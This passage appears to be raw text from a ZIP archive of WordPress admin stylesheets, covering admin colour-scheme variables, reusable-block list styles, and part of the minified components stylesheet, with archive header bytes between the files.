(min-resolution:192dpi){body.admin-color-light{--wp-admin-border-width-focus:1.5px}}body.admin-color-modern{--wp-admin-theme-color:#3858e9;--wp-admin-theme-color--rgb:56,88,233;--wp-admin-theme-color-darker-10:#2145e6;--wp-admin-theme-color-darker-10--rgb:33,69,230;--wp-admin-theme-color-darker-20:#183ad6;--wp-admin-theme-color-darker-20--rgb:24,58,214;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-modern{--wp-admin-border-width-focus:1.5px}}body.admin-color-blue{--wp-admin-theme-color:#096484;--wp-admin-theme-color--rgb:9,100,132;--wp-admin-theme-color-darker-10:#07526c;--wp-admin-theme-color-darker-10--rgb:7,82,108;--wp-admin-theme-color-darker-20:#064054;--wp-admin-theme-color-darker-20--rgb:6,64,84;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-blue{--wp-admin-border-width-focus:1.5px}}body.admin-color-coffee{--wp-admin-theme-color:#46403c;--wp-admin-theme-color--rgb:70,64,60;--wp-admin-theme-color-darker-10:#383330;--wp-admin-theme-color-darker-10--rgb:56,51,48;--wp-admin-theme-color-darker-20:#2b2724;--wp-admin-theme-color-darker-20--rgb:43,39,36;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-coffee{--wp-admin-border-width-focus:1.5px}}body.admin-color-ectoplasm{--wp-admin-theme-color:#523f6d;--wp-admin-theme-color--rgb:82,63,109;--wp-admin-theme-color-darker-10:#46365d;--wp-admin-theme-color-darker-10--rgb:70,54,93;--wp-admin-theme-color-darker-20:#3a2c4d;--wp-admin-theme-color-darker-20--rgb:58,44,77;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ectoplasm{--wp-admin-border-width-focus:1.5px}}body.admin-color-midnight{--wp-admin-theme-color:#e14d43;--wp-admin-theme-color--rgb:225,77,67;--wp-admin-theme-color-darker-10:#dd382d;--wp-admin-theme-color-darker-10--rgb:221,56,45;--wp-admin-theme-color-darker-20:#d02c21;--wp-admin-theme-color-darker-20--rgb:208,44,33;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-midnight{--wp-admin-border-width-focus:1.5px}}body.admin-color-ocean{--wp-admin-theme-color:#627c83;--wp-admin-theme-color--rgb:98,124,131;--wp-admin-theme-color-darker-10:#576e74;--wp-admin-theme-color-darker-10--rgb:87,110,116;--wp-admin-theme-color-darker-20:#4c6066;--wp-admin-theme-color-darker-20--rgb:76,96,102;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ocean{--wp-admin-border-width-focus:1.5px}}body.admin-color-sunrise{--wp-admin-theme-color:#dd823b;--wp-admin-theme-color--rgb:221,130,59;--wp-admin-theme-color-darker-10:#d97426;--wp-admin-theme-color-darker-10--rgb:217,116,38;--wp-admin-theme-color-darker-20:#c36922;--wp-admin-theme-color-darker-20--rgb:195,105,34;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-sunrise{--wp-admin-border-width-focus:1.5px}}PK1Xd[\b�x^^'dist/list-reusable-blocks/style-rtl.cssnu�[���:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:var(--wp-block-synced-color);
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.list-reusable-blocks-import-dropdown__content .components-popover__content{
  padding:10px;
}

[class].list-reusable-blocks-import-dropdown__button{
  height:30px;
}

.list-reusable-blocks-import-form__label{
  display:block;
  margin-bottom:10px;
}

.list-reusable-blocks-import-form__button{
  float:left;
  margin-top:10px;
}

.list-reusable-blocks-import-form .components-notice__content{
  margin:0;
}
.list-reusable-blocks-import-form .components-notice.is-dismissible{
  margin:5px 0;
  padding-left:0;
}

.list-reusable-blocks__container{
  align-items:center;
  display:inline-flex;
  position:relative;
  top:-3px;
}

body.admin-color-light{
  --wp-admin-theme-color:#0085ba;
  --wp-admin-theme-color--rgb:0, 133, 186;
  --wp-admin-theme-color-darker-10:#0073a1;
  --wp-admin-theme-color-darker-10--rgb:0, 115, 161;
  --wp-admin-theme-color-darker-20:#006187;
  --wp-admin-theme-color-darker-20--rgb:0, 97, 135;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-light{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-modern{
  --wp-admin-theme-color:#3858e9;
  --wp-admin-theme-color--rgb:56, 88, 233;
  --wp-admin-theme-color-darker-10:#2145e6;
  --wp-admin-theme-color-darker-10--rgb:33, 69, 230;
  --wp-admin-theme-color-darker-20:#183ad6;
  --wp-admin-theme-color-darker-20--rgb:24, 58, 214;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-modern{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-blue{
  --wp-admin-theme-color:#096484;
  --wp-admin-theme-color--rgb:9, 100, 132;
  --wp-admin-theme-color-darker-10:#07526c;
  --wp-admin-theme-color-darker-10--rgb:7, 82, 108;
  --wp-admin-theme-color-darker-20:#064054;
  --wp-admin-theme-color-darker-20--rgb:6, 64, 84;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-blue{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-coffee{
  --wp-admin-theme-color:#46403c;
  --wp-admin-theme-color--rgb:70, 64, 60;
  --wp-admin-theme-color-darker-10:#383330;
  --wp-admin-theme-color-darker-10--rgb:56, 51, 48;
  --wp-admin-theme-color-darker-20:#2b2724;
  --wp-admin-theme-color-darker-20--rgb:43, 39, 36;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-coffee{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ectoplasm{
  --wp-admin-theme-color:#523f6d;
  --wp-admin-theme-color--rgb:82, 63, 109;
  --wp-admin-theme-color-darker-10:#46365d;
  --wp-admin-theme-color-darker-10--rgb:70, 54, 93;
  --wp-admin-theme-color-darker-20:#3a2c4d;
  --wp-admin-theme-color-darker-20--rgb:58, 44, 77;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ectoplasm{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-midnight{
  --wp-admin-theme-color:#e14d43;
  --wp-admin-theme-color--rgb:225, 77, 67;
  --wp-admin-theme-color-darker-10:#dd382d;
  --wp-admin-theme-color-darker-10--rgb:221, 56, 45;
  --wp-admin-theme-color-darker-20:#d02c21;
  --wp-admin-theme-color-darker-20--rgb:208, 44, 33;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-midnight{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ocean{
  --wp-admin-theme-color:#627c83;
  --wp-admin-theme-color--rgb:98, 124, 131;
  --wp-admin-theme-color-darker-10:#576e74;
  --wp-admin-theme-color-darker-10--rgb:87, 110, 116;
  --wp-admin-theme-color-darker-20:#4c6066;
  --wp-admin-theme-color-darker-20--rgb:76, 96, 102;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ocean{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-sunrise{
  --wp-admin-theme-color:#dd823b;
  --wp-admin-theme-color--rgb:221, 130, 59;
  --wp-admin-theme-color-darker-10:#d97426;
  --wp-admin-theme-color-darker-10--rgb:217, 116, 38;
  --wp-admin-theme-color-darker-20:#c36922;
  --wp-admin-theme-color-darker-20--rgb:195, 105, 34;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-sunrise{
    --wp-admin-border-width-focus:1.5px;
  }
}PK1Xd[�+��``#dist/list-reusable-blocks/style.cssnu�[���:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:var(--wp-block-synced-color);
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.list-reusable-blocks-import-dropdown__content .components-popover__content{
  padding:10px;
}

[class].list-reusable-blocks-import-dropdown__button{
  height:30px;
}

.list-reusable-blocks-import-form__label{
  display:block;
  margin-bottom:10px;
}

.list-reusable-blocks-import-form__button{
  float:right;
  margin-top:10px;
}

.list-reusable-blocks-import-form .components-notice__content{
  margin:0;
}
.list-reusable-blocks-import-form .components-notice.is-dismissible{
  margin:5px 0;
  padding-right:0;
}

.list-reusable-blocks__container{
  align-items:center;
  display:inline-flex;
  position:relative;
  top:-3px;
}

body.admin-color-light{
  --wp-admin-theme-color:#0085ba;
  --wp-admin-theme-color--rgb:0, 133, 186;
  --wp-admin-theme-color-darker-10:#0073a1;
  --wp-admin-theme-color-darker-10--rgb:0, 115, 161;
  --wp-admin-theme-color-darker-20:#006187;
  --wp-admin-theme-color-darker-20--rgb:0, 97, 135;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-light{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-modern{
  --wp-admin-theme-color:#3858e9;
  --wp-admin-theme-color--rgb:56, 88, 233;
  --wp-admin-theme-color-darker-10:#2145e6;
  --wp-admin-theme-color-darker-10--rgb:33, 69, 230;
  --wp-admin-theme-color-darker-20:#183ad6;
  --wp-admin-theme-color-darker-20--rgb:24, 58, 214;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-modern{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-blue{
  --wp-admin-theme-color:#096484;
  --wp-admin-theme-color--rgb:9, 100, 132;
  --wp-admin-theme-color-darker-10:#07526c;
  --wp-admin-theme-color-darker-10--rgb:7, 82, 108;
  --wp-admin-theme-color-darker-20:#064054;
  --wp-admin-theme-color-darker-20--rgb:6, 64, 84;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-blue{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-coffee{
  --wp-admin-theme-color:#46403c;
  --wp-admin-theme-color--rgb:70, 64, 60;
  --wp-admin-theme-color-darker-10:#383330;
  --wp-admin-theme-color-darker-10--rgb:56, 51, 48;
  --wp-admin-theme-color-darker-20:#2b2724;
  --wp-admin-theme-color-darker-20--rgb:43, 39, 36;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-coffee{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ectoplasm{
  --wp-admin-theme-color:#523f6d;
  --wp-admin-theme-color--rgb:82, 63, 109;
  --wp-admin-theme-color-darker-10:#46365d;
  --wp-admin-theme-color-darker-10--rgb:70, 54, 93;
  --wp-admin-theme-color-darker-20:#3a2c4d;
  --wp-admin-theme-color-darker-20--rgb:58, 44, 77;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ectoplasm{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-midnight{
  --wp-admin-theme-color:#e14d43;
  --wp-admin-theme-color--rgb:225, 77, 67;
  --wp-admin-theme-color-darker-10:#dd382d;
  --wp-admin-theme-color-darker-10--rgb:221, 56, 45;
  --wp-admin-theme-color-darker-20:#d02c21;
  --wp-admin-theme-color-darker-20--rgb:208, 44, 33;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-midnight{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ocean{
  --wp-admin-theme-color:#627c83;
  --wp-admin-theme-color--rgb:98, 124, 131;
  --wp-admin-theme-color-darker-10:#576e74;
  --wp-admin-theme-color-darker-10--rgb:87, 110, 116;
  --wp-admin-theme-color-darker-20:#4c6066;
  --wp-admin-theme-color-darker-20--rgb:76, 96, 102;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ocean{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-sunrise{
  --wp-admin-theme-color:#dd823b;
  --wp-admin-theme-color--rgb:221, 130, 59;
  --wp-admin-theme-color-darker-10:#d97426;
  --wp-admin-theme-color-darker-10--rgb:217, 116, 38;
  --wp-admin-theme-color-darker-20:#c36922;
  --wp-admin-theme-color-darker-20--rgb:195, 105, 34;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-sunrise{
    --wp-admin-border-width-focus:1.5px;
  }
}PK1Xd[.���OVOV!dist/components/style-rtl.min.cssnu�[���@charset "UTF-8";:root{--wp-admin-theme-color:#3858e9;--wp-admin-theme-color--rgb:56,88,233;--wp-admin-theme-color-darker-10:#2145e6;--wp-admin-theme-color-darker-10--rgb:33,69,230;--wp-admin-theme-color-darker-20:#183ad6;--wp-admin-theme-color-darker-20--rgb:24,58,214;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}@media not (prefers-reduced-motion){.components-animate__appear{animation:components-animate__appear-animation .1s cubic-bezier(0,0,.2,1) 0s;animation-fill-mode:forwards}}.components-animate__appear.is-from-top,.components-animate__appear.is-from-top.is-from-left{transform-origin:top right}.components-animate__appear.is-from-top.is-from-right{transform-origin:top left}.components-animate__appear.is-from-bottom,.components-animate__appear.is-from-bottom.is-from-left{transform-origin:bottom right}.components-animate__appear.is-from-bottom.is-from-right{transform-origin:bottom left}@keyframes components-animate__appear-animation{0%{transform:translateY(-2em) scaleY(0) scaleX(0)}to{transform:translateY(0) scaleY(1) scaleX(1)}}@media not (prefers-reduced-motion){.components-animate__slide-in{animation:components-animate__slide-in-animation .1s cubic-bezier(0,0,.2,1);animation-fill-mode:forwards}.components-animate__slide-in.is-from-left{transform:translateX(-100%)}.components-animate__slide-in.is-from-right{transform:translateX(100%)}}@keyframes components-animate__slide-in-animation{to{transform:translateX(0)}}@media not (prefers-reduced-motion){.components-animate__loading{animation:components-animate__loading 1.6s ease-in-out infinite}}@keyframes components-animate__loading{0%{opacity:.5}50%{opacity:1}to{opacity:.5}}.components-autocomplete__popover .components-popover__content{min-width:200px;padding:8px}.components-autocomplete__result.components-button{display:flex;height:auto;min-height:36px;text-align:right;width:100%}.components-autocomplete__result.components-button:focus:not(:disabled){box-shadow:inset 0 0 0 1px #fff,0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000}.components-badge{align-items:center;background-color:color-mix(in srgb,#fff 90%,var(--base-color));border-radius:2px;box-sizing:border-box;color:color-mix(in srgb,#000 50%,var(--base-color));display:inline-flex;font-size:12px;font-weight:400;gap:2px;line-height:20px;max-width:100%;min-height:24px;padding:0 8px}.components-badge *,.components-badge :after,.components-badge :before{box-sizing:inherit}.components-badge:where(.is-default){background-color:#f0f0f0;color:#2f2f2f}.components-badge.has-icon{padding-inline-start:4px}.components-badge.is-info{--base-color:#3858e9}.components-badge.is-warning{--base-color:#f0b849}.components-badge.is-error{--base-color:#cc1818}.components-badge.is-success{--base-color:#4ab866}.components-badge__icon{flex-shrink:0}.components-badge__content{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.components-button-group{display:inline-block}.components-button-group .components-button{border-radius:0;box-shadow:inset 0 0 0 1px #1e1e1e;color:#1e1e1e;display:inline-flex}.components-button-group .components-button+.components-button{margin-right:-1px}.components-button-group .components-button:first-child{border-radius:0 2px 2px 0}.components-button-group .components-button:last-child{border-radius:2px 0 0 2px}.components-button-group .components-button.is-primary,.components-button-group .components-button:focus{position:relative;z-index:1}.components-button-group .components-button.is-primary{box-shadow:inset 0 0 0 1px #1e1e1e}.components-button{align-items:center;-webkit-appearance:none;background:none;border:0;border-radius:2px;box-sizing:border-box;color:var(--wp-components-color-foreground,#1e1e1e);cursor:pointer;display:inline-flex;font-family:inherit;font-size:13px;height:36px;margin:0;padding:6px 12px;text-decoration:none}@media not (prefers-reduced-motion){.components-button{transition:box-shadow .1s linear}}.components-button.is-next-40px-default-size{height:40px}.components-button:hover:not(:disabled,[aria-disabled=true]),.components-button[aria-expanded=true]{color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9))}.components-button:focus:not(:disabled){box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));outline:3px solid #0000}.components-button.is-primary{background:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));color:var(--wp-components-color-accent-inverted,#fff);outline:1px solid #0000;text-decoration:none;text-shadow:none;white-space:nowrap}.components-button.is-primary:hover:not(:disabled){background:var(--wp-components-color-accent-darker-10,var(--wp-admin-theme-color-darker-10,#2145e6));color:var(--wp-components-color-accent-inverted,#fff)}.components-button.is-primary:active:not(:disabled){background:var(--wp-components-color-accent-darker-20,var(--wp-admin-theme-color-darker-20,#183ad6));border-color:var(--wp-components-color-accent-darker-20,var(--wp-admin-theme-color-darker-20,#183ad6));color:var(--wp-components-color-accent-inverted,#fff)}.components-button.is-primary:focus:not(:disabled){box-shadow:inset 0 0 0 1px var(--wp-components-color-background,#fff),0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9))}.components-button.is-primary:disabled,.components-button.is-primary:disabled:active:enabled,.components-button.is-primary[aria-disabled=true],.components-button.is-primary[aria-disabled=true]:active:enabled,.components-button.is-primary[aria-disabled=true]:enabled{background:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));border-color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));color:#fff6;outline:none}.components-button.is-primary:disabled:active:enabled:focus:enabled,.components-button.is-primary:disabled:focus:enabled,.components-button.is-primary[aria-disabled=true]:active:enabled:focus:enabled,.components-button.is-primary[aria-disabled=true]:enabled:focus:enabled,.components-button.is-primary[aria-disabled=true]:focus:enabled{box-shadow:inset 0 0 0 1px var(--wp-components-color-background,#fff),0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9))}.components-button.is-primary.is-busy,.components-button.is-primary.is-busy:disabled,.components-button.is-primary.is-busy[aria-disabled=true]{background-image:linear-gradient(45deg,var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9)) 33%,var(--wp-components-color-accent-darker-20,var(--wp-admin-theme-color-darker-20,#183ad6)) 33%,var(--wp-components-color-accent-darker-20,var(--wp-admin-theme-color-darker-20,#183ad6)) 70%,var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9)) 70%);background-size:100px 100%;border-color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));color:var(--wp-components-color-accent-inverted,#fff)}.components-button.is-secondary,.components-button.is-tertiary{outline:1px solid #0000}.components-button.is-secondary:active:not(:disabled),.components-button.is-tertiary:active:not(:disabled){box-shadow:none}.components-button.is-secondary:disabled,.components-button.is-secondary[aria-disabled=true],.components-button.is-secondary[aria-disabled=true]:hover,.components-button.is-tertiary:disabled,.components-button.is-tertiary[aria-disabled=true],.components-button.is-tertiary[aria-disabled=true]:hover{background:#0000;color:#949494;transform:none}.components-button.is-secondary{background:#0000;box-shadow:inset 0 0 0 1px var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9)),0 0 0 currentColor;color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));outline:1px solid #0000;white-space:nowrap}.components-button.is-secondary:hover:not(:disabled,[aria-disabled=true],.is-pressed){background:color-mix(in srgb,var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9)) 4%,#0000);box-shadow:inset 0 0 0 1px var(--wp-components-color-accent-darker-20,var(--wp-admin-theme-color-darker-20,#183ad6));color:var(--wp-components-color-accent-darker-20,var(--wp-admin-theme-color-darker-20,#183ad6))}.components-button.is-secondary:disabled:not(:focus),.components-button.is-secondary[aria-disabled=true]:hover:not(:focus),.components-button.is-secondary[aria-disabled=true]:not(:focus){box-shadow:inset 0 0 0 1px #ddd}.components-button.is-secondary:focus:not(:disabled){box-shadow:0 0 0 currentColor inset,0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9))}.components-button.is-tertiary{background:#0000;color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));white-space:nowrap}.components-button.is-tertiary:hover:not(:disabled,[aria-disabled=true],.is-pressed){background:color-mix(in srgb,var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9)) 4%,#0000);color:var(--wp-components-color-accent-darker-20,var(--wp-admin-theme-color-darker-20,#183ad6))}.components-button.is-tertiary:active:not(:disabled,[aria-disabled=true]){background:color-mix(in srgb,var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9)) 8%,#0000)}p+.components-button.is-tertiary{margin-right:-6px}.components-button.is-tertiary:disabled:not(:focus),.components-button.is-tertiary[aria-disabled=true]:hover:not(:focus),.components-button.is-tertiary[aria-disabled=true]:not(:focus){box-shadow:none;outline:none}.components-button.is-destructive{--wp-components-color-accent:#cc1818;--wp-components-color-accent-darker-10:#9e1313;--wp-components-color-accent-darker-20:#710d0d}.components-button.is-destructive:not(.is-primary):not(.is-secondary):not(.is-tertiary):not(.is-link){color:#cc1818}.components-button.is-destructive:not(.is-primary):not(.is-secondary):not(.is-tertiary):not(.is-link):hover:not(:disabled,[aria-disabled=true]){color:#710d0d}.components-button.is-destructive:not(.is-primary):not(.is-secondary):not(.is-tertiary):not(.is-link):focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus) #cc1818}.components-button.is-destructive:not(.is-primary):not(.is-secondary):not(.is-tertiary):not(.is-link):active:not(:disabled,[aria-disabled=true]){background:#ccc}.components-button.is-destructive:not(.is-primary):not(.is-secondary):not(.is-tertiary):not(.is-link):disabled,.components-button.is-destructive:not(.is-primary):not(.is-secondary):not(.is-tertiary):not(.is-link)[aria-disabled=true]{color:#949494}.components-button.is-destructive.is-secondary:hover:not(:disabled,[aria-disabled=true]),.components-button.is-destructive.is-tertiary:hover:not(:disabled,[aria-disabled=true]){background:#cc18180a}.components-button.is-destructive.is-secondary:active:not(:disabled,[aria-disabled=true]),.components-button.is-destructive.is-tertiary:active:not(:disabled,[aria-disabled=true]){background:#cc181814}.components-button.is-link{background:none;border:0;border-radius:0;box-shadow:none;color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));height:auto;margin:0;outline:none;padding:0;text-align:right;text-decoration:underline}@media not (prefers-reduced-motion){.components-button.is-link{transition-duration:.05s;transition-property:border,background,color;transition-timing-function:ease-in-out}}.components-button.is-link:focus{border-radius:2px}.components-button.is-link:disabled,.components-button.is-link[aria-disabled=true]{color:#949494}.components-button:not(:disabled,[aria-disabled=true]):active{color:var(--wp-components-color-foreground,#1e1e1e)}.components-button:disabled,.components-button[aria-disabled=true]{color:#949494;cursor:default}.components-button.is-busy,.components-button.is-secondary.is-busy,.components-button.is-secondary.is-busy:disabled,.components-button.is-secondary.is-busy[aria-disabled=true]{background-image:linear-gradient(45deg,#fafafa 33%,#e0e0e0 0,#e0e0e0 70%,#fafafa 0);background-size:100px 100%}@media not (prefers-reduced-motion){.components-button.is-busy,.components-button.is-secondary.is-busy,.components-button.is-secondary.is-busy:disabled,.components-button.is-secondary.is-busy[aria-disabled=true]{animation:components-button__busy-animation 2.5s linear infinite}}.components-button.is-compact{height:32px}.components-button.is-compact.has-icon:not(.has-text){min-width:32px;padding:0;width:32px}.components-button.is-small{font-size:11px;height:24px;line-height:22px;padding:0 8px}.components-button.is-small.has-icon:not(.has-text){min-width:24px;padding:0;width:24px}.components-button.has-icon{justify-content:center;min-width:36px;padding:6px}.components-button.has-icon.is-next-40px-default-size{min-width:40px}.components-button.has-icon .dashicon{align-items:center;box-sizing:initial;display:inline-flex;justify-content:center;padding:2px}.components-button.has-icon.has-text{gap:4px;justify-content:start;padding-left:12px;padding-right:8px}.components-button.is-pressed,.components-button.is-pressed:hover{color:var(--wp-components-color-foreground-inverted,#fff)}.components-button.is-pressed:hover:not(:disabled,[aria-disabled=true]),.components-button.is-pressed:not(:disabled,[aria-disabled=true]){background:var(--wp-components-color-foreground,#1e1e1e)}.components-button.is-pressed:disabled,.components-button.is-pressed[aria-disabled=true]{color:#949494}.components-button.is-pressed:disabled:not(.is-primary):not(.is-secondary):not(.is-tertiary),.components-button.is-pressed[aria-disabled=true]:not(.is-primary):not(.is-secondary):not(.is-tertiary){background:#949494;color:var(--wp-components-color-foreground-inverted,#fff)}.components-button.is-pressed:focus:not(:disabled){box-shadow:inset 0 0 0 1px var(--wp-components-color-background,#fff),0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));outline:2px solid #0000}.components-button svg{fill:currentColor;outline:none}@media (forced-colors:active){.components-button svg{fill:CanvasText}}.components-button .components-visually-hidden{height:auto}@keyframes components-button__busy-animation{0%{background-position:right 200px top 0}}.components-checkbox-control{--checkbox-input-size:24px;--checkbox-input-margin:8px}@media (min-width:600px){.components-checkbox-control{--checkbox-input-size:16px}}.components-checkbox-control__label{cursor:pointer;line-height:var(--checkbox-input-size)}.components-checkbox-control__input[type=checkbox]{appearance:none;background:#fff;border:1px solid #1e1e1e;border-radius:2px;box-shadow:0 0 0 #0000;clear:none;color:#1e1e1e;cursor:pointer;display:inline-block;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:16px;height:var(--checkbox-input-size);line-height:normal;line-height:0;margin:0 0 0 4px;outline:0;padding:6px 8px;padding:0!important;text-align:center;transition:none;vertical-align:top;width:var(--checkbox-input-size)}@media not (prefers-reduced-motion){.components-checkbox-control__input[type=checkbox]{transition:box-shadow .1s linear}}@media (min-width:600px){.components-checkbox-control__input[type=checkbox]{font-size:13px;line-height:normal}}.components-checkbox-control__input[type=checkbox]:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color)}.components-checkbox-control__input[type=checkbox]::-webkit-input-placeholder{color:#1e1e1e9e}.components-checkbox-control__input[type=checkbox]::-moz-placeholder{color:#1e1e1e9e}.components-checkbox-control__input[type=checkbox]:-ms-input-placeholder{color:#1e1e1e9e}.components-checkbox-control__input[type=checkbox]:focus{box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color)}.components-checkbox-control__input[type=checkbox]:checked{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}.components-checkbox-control__input[type=checkbox]:checked::-ms-check{opacity:0}.components-checkbox-control__input[type=checkbox]:checked:before,.components-checkbox-control__input[type=checkbox][aria-checked=mixed]:before{color:#fff;margin:-3px -5px}@media (min-width:782px){.components-checkbox-control__input[type=checkbox]:checked:before,.components-checkbox-control__input[type=checkbox][aria-checked=mixed]:before{margin:-4px -5px 0 0}}.components-checkbox-control__input[type=checkbox][aria-checked=mixed]{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}.components-checkbox-control__input[type=checkbox][aria-checked=mixed]:before{content:"\f460";display:inline-block;float:right;font:normal 30px/1 dashicons;vertical-align:middle;width:16px;speak:none;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}@media (min-width:782px){.components-checkbox-control__input[type=checkbox][aria-checked=mixed]:before{float:none;font-size:21px}}.components-checkbox-control__input[type=checkbox]:disabled,.components-checkbox-control__input[type=checkbox][aria-disabled=true]{background:#f0f0f0;border-color:#ddd;cursor:default;opacity:1}@media not (prefers-reduced-motion){.components-checkbox-control__input[type=checkbox]{transition:border-color .1s ease-in-out}}.components-checkbox-control__input[type=checkbox]:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff,0 0 0 calc(var(--wp-admin-border-width-focus)*2) var(--wp-admin-theme-color);outline:2px solid #0000;outline-offset:2px}.components-checkbox-control__input[type=checkbox]:checked,.components-checkbox-control__input[type=checkbox]:indeterminate{background:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));border-color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9))}.components-checkbox-control__input[type=checkbox]:checked::-ms-check,.components-checkbox-control__input[type=checkbox]:indeterminate::-ms-check{opacity:0}.components-checkbox-control__input[type=checkbox]:checked:before{content:none}.components-checkbox-control__input-container{aspect-ratio:1;display:inline-block;flex-shrink:0;line-height:1;margin-left:var(--checkbox-input-margin);position:relative;vertical-align:middle;width:var(--checkbox-input-size)}svg.components-checkbox-control__checked,svg.components-checkbox-control__indeterminate{--checkmark-size:var(--checkbox-input-size);fill:#fff;cursor:pointer;height:var(--checkmark-size);pointer-events:none;position:absolute;right:50%;top:50%;transform:translate(50%,-50%);-webkit-user-select:none;user-select:none;width:var(--checkmark-size)}@media (min-width:600px){svg.components-checkbox-control__checked,svg.components-checkbox-control__indeterminate{--checkmark-size:calc(var(--checkbox-input-size) + 4px)}}.components-checkbox-control__help{display:inline-block;margin-inline-start:calc(var(--checkbox-input-size) + var(--checkbox-input-margin))}.components-circular-option-picker{display:inline-block;min-width:188px;width:100%}.components-circular-option-picker 